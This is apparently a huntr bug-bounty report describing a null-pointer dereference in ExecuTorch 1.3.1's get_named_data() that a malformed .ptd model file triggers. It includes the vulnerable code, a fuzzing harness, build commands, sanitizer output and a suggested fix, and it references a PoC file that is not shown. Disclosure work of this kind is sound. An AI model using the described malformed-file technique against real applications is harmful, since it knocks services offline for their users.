tsk-arasu's picture
Upload folder using huggingface_hub
9b78f96 verified
|
Raw
History Blame Contribute Delete
8.57 kB
# Null Pointer Dereference in ExecuTorch get_named_data() Search Loop via Missing NamedData.key (.ptd)
**Target:** ExecuTorch 1.3.1 (.ptd, huntr Model File Vulnerability program)
**Severity:** Low-Medium (Denial of Service)
**CWE:** CWE-476 (NULL Pointer Dereference)
**Component:** `extension/flat_tensor/flat_tensor_data_map.cpp`
**Authentication Required:** No β€” only requires a victim application to load an attacker-supplied `.ptd` file and call any of three public lookup APIs.
## Summary
`get_named_data()` β€” the anonymous-namespace linear-search helper backing `FlatTensorDataMap::get_tensor_layout()`, `get_data()`, and `load_data_into()` β€” dereferences each `NamedData` entry's `key` field without checking it for null while comparing entries against the requested lookup key. A `.ptd` file containing **any** `NamedData` entry with an omitted `key` crashes the search loop as soon as it reaches that entry, **regardless of which key the caller was actually looking for**. This means a single malformed entry anywhere in the file breaks every subsequent lookup by name, not just lookups for that specific (missing) key.
This is a distinct bug from a previously identified null-deref in `get_key()` (the direct index-based lookup) β€” confirmed independently below using a harness that never calls `get_key()` at all, ruling out any possibility that this report is merely re-describing that other function's crash.
## Vulnerability Details
`extension/flat_tensor/flat_tensor_data_map.cpp`'s `get_named_data()` (pristine 1.3.1 source, anonymous namespace, lines 49–66):
```cpp
Result<const flat_tensor_flatbuffer::NamedData*> get_named_data(
executorch::aten::string_view key,
const flatbuffers::Vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>>* named_data,
const flatbuffers::Vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>>* segments,
size_t segment_end_offset) {
if (named_data == nullptr) {
return Error::NotFound;
}
for (flatbuffers::uoffset_t i = 0; i < named_data->size(); ++i) {
if (key.size() == named_data->Get(i)->key()->size() && // <-- crash site, line 61
std::strncmp(
named_data->Get(i)->key()->c_str(),
key.data(),
named_data->Get(i)->key()->size()) == 0) {
const auto* found = named_data->Get(i);
...
```
The loop iterates **every** element of `named_data` looking for a match against the caller-supplied `key`. If any element β€” not necessarily the one the caller wants β€” has a null `key()`, the comparison on line 61 crashes before the loop can move past that element to check the rest.
## Steps to Reproduce
### Environment
Linux x86-64, ExecuTorch 1.3.1 pristine source, clang-16, CMake, Ninja. No authentication, no host access.
### 1. Build ExecuTorch with sanitizers
Same build as REPORT-01 Step 1.
### 2. Build the isolated PoC harness (`poc/harness_isolated_get_named_data.cpp`, included in this report)
This harness deliberately calls **only** `get_tensor_layout()` and `get_data()` for a fixed set of candidate key strings β€” it never calls `get_key()` or `get_num_keys()` β€” to prove this bug is independent of the `get_key()` accessor:
```cpp
extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
// ... load FlatTensorDataMap ...
const char* candidates[] = {"weight0", "weight1", "a", "x", ""};
for (const char* k : candidates) {
(void)m.get_tensor_layout(executorch::aten::string_view(k, strlen(k)));
(void)m.get_data(executorch::aten::string_view(k, strlen(k)));
}
}
```
```bash
export ET_PARENT=/path/to/parent-of-executorch
C10_INC="$ET_SRC/runtime/core/portable_type/c10"
INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
$INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
-c poc/harness_isolated_get_named_data.cpp -o harness.o
clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
"$ET_BUILD/extension/flat_tensor/libextension_flat_tensor.a" \
"$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
"$ET_BUILD/libexecutorch_core.a"
```
### 3. PoC file
`poc/poc_get_named_data_search_null.ptd` (182 bytes, **included in this report β€” sha256 `9fcfd7bc5d389d0c86e93fc5a847bb5ee537be8ffaa664059d1afbf3e8f97f9c`**) contains a `named_data` vector with at least one `NamedData` entry whose `key` field is omitted.
### 4. Trigger the crash
```bash
export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
./poc_harness -timeout=5 -runs=0 poc/poc_get_named_data_search_null.ptd
```
### Expected result (secure behavior)
The search loop should skip past a `NamedData` entry with no `key` (or return a clean error), regardless of which key the caller is actually searching for.
### Actual result β€” verified in isolation against the pristine, unmodified ExecuTorch 1.3.1 source
```
Running: poc/poc_get_named_data_search_null.ptd
extension/flat_tensor/flat_tensor_data_map.cpp:61:50: runtime error: member call on null pointer of type 'flatbuffers::Vector<char>'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior extension/flat_tensor/flat_tensor_data_map.cpp:61:50 in
==<pid>== ERROR: libFuzzer: deadly signal
```
**Reproduced 3/3 identical runs, in isolation** (harness never calls `get_key()`; re-verified live for this report against the pristine source):
```
run 1: extension/flat_tensor/flat_tensor_data_map.cpp:61:50: runtime error: member call on null pointer of type 'flatbuffers::Vector<char>'
run 2: (identical)
run 3: (identical)
```
This isolation test is the key evidence distinguishing this finding from a previously-identified crash in `get_key()`'s direct-index lookup (a different function reading the same `NamedData.key` field): the crash reproduces here even when `get_key()` is never called at all.
## Impact
**Who is affected:** Any application calling `get_tensor_layout()`, `get_data()`, or `load_data_into()` β€” three separate public lookup APIs, all backed by this one search function.
**What the attacker can do:** Cause a deterministic crash on **any** name lookup by placing a single malformed entry anywhere in the `named_data` vector. This is broader in effect than a bug that only affects a specific key β€” a victim application would see every subsequent tensor/blob lookup fail with a crash, not just a lookup for the missing entry, since the search must linearly scan past it for any query.
**What's at risk:** Availability only.
**Why not Critical:** Controlled null-pointer dereference, no memory corruption or code execution.
## Suggested Remediation
```cpp
for (flatbuffers::uoffset_t i = 0; i < named_data->size(); ++i) {
const auto* entry = named_data->Get(i);
if (entry == nullptr || entry->key() == nullptr) {
continue; // skip malformed entries rather than crashing
}
if (key.size() == entry->key()->size() &&
std::strncmp(entry->key()->c_str(), key.data(), entry->key()->size()) == 0) {
const auto* found = entry;
...
```
**Design recommendation:** this is the third function in this file found to independently need this exact `NamedData.key` null check (alongside `get_key()`). A single shared helper (e.g. `is_valid_named_data_entry(const NamedData*)`) used by every accessor that reads `NamedData` elements would close this class of bugs at the source rather than requiring per-function patches as new accessors are added or fuzzed.
A regression test should build a `.ptd` with one `NamedData` entry having `key` omitted and a second entry with a real key, then call `get_tensor_layout()`/`get_data()`/`load_data_into()` for the second (valid) key, asserting the lookup succeeds (or fails cleanly) rather than crashing while scanning past the first, invalid entry.
## Files Included in This Report
- `poc/poc_get_named_data_search_null.ptd` β€” the 182-byte PoC file (sha256 `9fcfd7bc5d389d0c86e93fc5a847bb5ee537be8ffaa664059d1afbf3e8f97f9c`)
- `poc/harness_isolated_get_named_data.cpp` β€” the isolated harness proving this bug independent of `get_key()`
## huntr Submission Note
Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_get_named_data_search_null.ptd` is ready for that upload.